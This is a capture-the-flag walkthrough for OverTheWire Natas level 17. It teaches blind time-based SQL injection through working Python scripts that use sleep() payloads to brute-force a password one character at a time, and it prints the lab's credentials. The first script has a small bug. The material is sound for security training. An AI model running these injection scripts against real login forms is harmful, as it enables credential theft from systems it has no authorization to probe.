OverTheWire Natas Level 17 Walkthrough

Halfway through the Natas wargame with level 17! This post covers a full walkthrough of how to solve the level and not just a solver script.

What is Natas?

Natas is an online hacking game meant to help you learn and practice security concepts.

OverTheWire is a website with a number of “war games”, which are online hacking games that allow you to practice security concepts. If you are looking for a beginner introduction to web security (albeit an older tech stack), then Natas is a great place to start.

Natas is hosted on different subdomains following the pattern of http://natas<level#>.natas.labs.overthewire.org. As you progress through the levels, you’ll need to increment the level number in the URL in order to view the correct level.

Each level requires the levels below it to be solved, so you will need the level 17 flag found in level 16 to begin this walkthrough. As before, make sure you keep notes and write down the passwords as you find them!

Level 17 ➔ 18

If we open up the website for level 17 (http://natas17.natas.labs.overthewire.org/) and provide username natas17 and the password we found in the previous level (8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw), we see a page that looks almost exactly like level 15.

In fact, if we look at the source code, it’s exactly the same as level 15, except the print statements have been commented out.

As a result, a (likely) known good username like natas18 and an obviously not good username like thisusernamedoesnotexist both return the same result: an empty response.

So, now what?

Timing as Feedback

If we don’t get any feedback in the form of text from the server, maybe there’s another way we can measure its response: timing.

There are well-known vulnerabilities that make use of timing to infer information from a system. One such example is OpenSSH’s username enumeration vulnerability, where the server responds faster or slower depending on whether the username is valid or not.

I tried using this approach with the username, which we can assume is natas18. Here’s the script I used:

import requests
import string
from requests.auth import HTTPBasicAuth

basicAuth=HTTPBasicAuth('natas17', '8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw')
headers = {'Content-Type': 'application/x-www-form-urlencoded'}

u="http://natas17.natas.labs.overthewire.org/index.php?debug"

username="" # start with blank password
count = 1   # substr() length argument starts at 1
VALID_CHARS = string.digits + string.ascii_letters

while True: 
    for c in VALID_CHARS: 
        payload="username=" + \ 
                         "\" OR " + \ 
                         "BINARY substring(username,1," + str(count) + ")" + \ 
                         " = '" + password + c + "'" + \
                         " -- " 

        response = requests.post(u, data=payload, headers=headers, auth=basicAuth, verify=False) 
  
        print(payload, " ------ ", response.elapsed) 
        
        if (response.elapsed.total_seconds() > 1):
            print("Found one more char : %s" % (username+c))
            username += c
            count = count + 1

This is essentially the same script as the one developed in level 15. It makes POST requests to the endpoint with the SQL injection query:

" OR BINARY substring(username,1,1) = 'x' --

I added a print statement that includes response.elapsed, which is a measure of how long the request takes.

I knew that the username should be natas18 (and thus, start with an n) but there was no discernible pattern between “good” characters and incorrect ones:

You can see that they’re all hovering around the 0.25-0.35 second range, but there’s no obvious pattern.

Using sleep to our advantage

Database querying languages like MySQL often have sleep() commands built-in. I’m not sure what the original purpose was (this documentation says to handle blocking code wait times), but they’re useful for SQL injection. 🙂

Rather than using an injected query of:

" OR BINARY substring(username,1,1) = 'x' --

We can use an IF() statement, where the True case does a sleep() command, and the False case does nothing. This will look like:

" OR IF(BINARY substring(username,1,1) = 'n', sleep(2), False) --

The syntax for the IF() command is IF(<conditional>, <what to do in True case>, <what to do in False case>).

So, if the first character (substring[1:1]) of username is equal to n, it should sleep for 2 seconds.

This also means we need to update our logic for finding a matching character. Rather than interpreting the text of the response, we will check response.elapsed.total_seconds() and see if it is greater than 1.

I tried sleep(1) instead but the amount of variance in the server response was too large. Using sleep(2) seemed like a good trade-off between speed and accuracy.

The total username script (to prove out that our sleep() idea works with the known username of natas18) looks like:

import requests
import string
from requests.auth import HTTPBasicAuth

basicAuth=HTTPBasicAuth('natas17', '8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw')
headers = {'Content-Type': 'application/x-www-form-urlencoded'}

u="http://natas17.natas.labs.overthewire.org/index.php?debug"

username="" # start with blank password
count = 1   # substr() length argument starts at 1
VALID_CHARS = string.digits + string.ascii_letters

while True:
    for c in VALID_CHARS:
        payload="username=" + \
                "\" OR " + \
                "IF(BINARY substring(username,1," + str(count) + ")" + \
                " = '" + username + c + "', sleep(2), False)" + \
                " -- "

        response = requests.post(u, data=payload, headers=headers, auth=basicAuth, verify=False)

        print(payload, " ------ ", response.elapsed)

        if (response.elapsed.total_seconds() > 1):
            print("Found one more char : %s" % (username+c))
            username += c
            count = count + 1

If we run this, it seems to work:

We can keep running the script to make sure it matches natas18, or just continue on to the fun part. 🙂

Using sleep() to get the password:

Our script is nearly ready, we just need to update the query to be more restrictive by requiring a username of natas18 and the password match). We also have to swap out the username substring() comparison with password instead.

That query looks like:

natas18" AND IF(BINARY substring(password,1,count) = 'val', sleep(2), False) --

Where val is the password found thus far, plus the new character being tested.

If we update the script, it looks like:

import requests
import string
from requests.auth import HTTPBasicAuth

basicAuth=HTTPBasicAuth('natas17', '8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw')
headers = {'Content-Type': 'application/x-www-form-urlencoded'}

u="http://natas17.natas.labs.overthewire.org/index.php?debug"

password="" # start with blank password
count = 1   # substr() length argument starts at 1
PASSWORD_LENGTH = 32  # previous passwords were 32 chars long
VALID_CHARS = string.digits + string.ascii_letters

while count <= PASSWORD_LENGTH + 1: 
    for c in VALID_CHARS: 
        payload="username=natas18" + \ 
                "\" AND " + \ 
                "IF(BINARY substring(password,1," + str(count) + ")" + \ 
                " = '" + password + c + "', sleep(2), False)" + \ 
                " -- " 

        response = requests.post(u, data=payload, headers=headers, auth=basicAuth, verify=False) 

        # print(payload, " ------ ", response.elapsed) 
        
        if (response.elapsed.total_seconds() > 2):
            print("Found one more char : %s" % (password+c))
            password += c
            count = count + 1

print("Done!")

Natas Level 17 Solution

If we run the Python script above, we will slowly build out the password using boolean true/false testing (from level 15) with the new addition of using timing when text output is unavailable to us. The password is: xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP.

Takeaway: SQL injection can include timing injection to gain information about a system when visual output is unavailable.